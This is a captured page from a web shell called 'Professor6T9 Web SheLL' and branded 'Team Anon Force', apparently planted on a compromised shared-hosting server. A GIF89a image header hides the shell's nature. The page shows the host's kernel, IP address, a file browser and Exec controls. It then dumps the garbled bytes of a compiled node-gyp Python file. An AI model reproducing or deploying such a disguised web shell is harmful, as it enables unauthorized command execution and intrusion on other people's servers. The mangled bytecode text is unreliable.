GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux premium22.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
LiteSpeed
68.65.122.106
/
opt
/
alt
/
alt-nodejs22
/
root
/
lib
/
node_modules
/
npm
/
node_modules
/
node-gyp
/
gyp
/
pylib
/
gyp
/
__pycache__
[ HOME ]
Exec
Submit
input.cpython-38.pyc
U �=�h�� � @ s& d dl Z d dlZd dlZd dlZd dlZd dlZd dlZd dlZd dl Z d dl Z d dlmZ d dl Zd dlZd dl mZmZ dddddgZd d gZddd ddddgZe� ai Zi Zdd� Zddddd ddddddddddd d!d"d#d$d%d&gZg add'dd d(dd)dd d"d%gZd*adad�d+d,�Zd-d.� Z d/d0� Z!d1d2� Z"d3d4� Z#d5d6� Z$d7d8� Z%d9d:� Z&d;d<� Z'G d=d>� d>e(�Z)G d?d@� d@�Z*dAdB� Z+edC�Z,dDdEdFdG�Z-dHdI� Z.dJdK� Z/e�0dL�Z1e�0dM�Z2e�0dN�Z3i Z4dOdP� Z5d Z6dQZ7dRZ8dSdT� Z9i Z:dUdV� Z;dWdX� Z<dYdZ� Z=d[d\� Z>d]d^� Z?d�d_d`�Z@dadb� ZAdcdd� ZBdedf� ZCdgdh� ZDdidj� ZEdkdl� ZFdmdn� ZGdodp� ZHdqdr� ZIG dsdt� dt�ZJdudv� ZKdwdx� ZLdydz� ZMd{d|� ZNe�0d}�ZOd~d� ZPd�d�d��ZQd�d�� ZRd�d�� ZSd�d�� ZTd�d�� ZUd�d�� ZVd�d�� ZWd�d�� ZXd�d�� ZYd�d�� ZZd�d�� Z[d�d�� Z\d�d�� Z]d�d�� Z^d�d�� Z_d�d�� Z`dS )�� N)�Version)�GypError� OrderedSet� executable�shared_library�loadable_module�mac_kernel_extension�windows_driver�dependencies�export_dependent_settingsZdestination�filesZinclude_dirs�inputsZ librariesZoutputs�sourcesc C s� | r"| dd � dkr"| d d� } q | t kr.dS d| kr~| dd � }|d dkrZ|d d� }|dd � dkrndS |d d � d kS dS )N���z=+?!T�_i�����s���)Z_file�_path���Z_dirF)� path_sections)Zsection�tail� r �h/opt/alt/alt-nodejs22/root/usr/lib/node_modules/npm/node_modules.bundled/node-gyp/gyp/pylib/gyp/input.py� IsPathSection8 s r �actions�configurationsZcopies�default_configuration�dependencies_originalZ postbuildsZproduct_dirZproduct_extensionZproduct_nameZproduct_prefix�rules�run_as�standalone_static_library�suppress_wildcard�target_name�toolset�toolsets�type� variables�all_dependent_settings�direct_dependent_settings� link_settingsFc C sH |dkrg }| |kr|S |� | � || �dg �D ]}t|||� q2|S )a Return a list of all build files included into build_file_path. The returned list will contain build_file_path as well as all other files that it included, either directly or indirectly. Note that the list may contain files that were included into a conditional section that evaluated to false and was not merged into build_file_path's dict. aux_data is a dict containing a key for each build file or included build file. Those keys provide access to dicts whose "included" keys contain lists of all other files included by the build file. included should be left at its default None value by external callers. It is used for recursion. The returned list will not contain any duplicate entries. Each build file in the list will be relative to the current directory. N�included)�append�get�GetIncludedBuildFiles)�build_file_path�aux_datar* Zincluded_build_filer r r r- � s r- c C sT t �| �}t|t j�st�|j}t|�dks0t�|d }t|t j�sHt�t|j g �S )z�Return the eval of a gyp file. The gyp file is restricted to dictionaries and lists only, and repeated keys are not allowed. Note that this is slower than eval() is. � r ) �ast�parse� isinstanceZModule�AssertionErrorZbody�lenZExpr� CheckNode�value)Z file_contentsZsyntax_treeZc1Zc2r r r �CheckedEval� s r8 c C s t | tj�r�i }t| j| j�D ]x\}}t |tj�s6t�|j}||krvt d| d t t|�d � d d�|� d ��t |�}|�|� t||�||<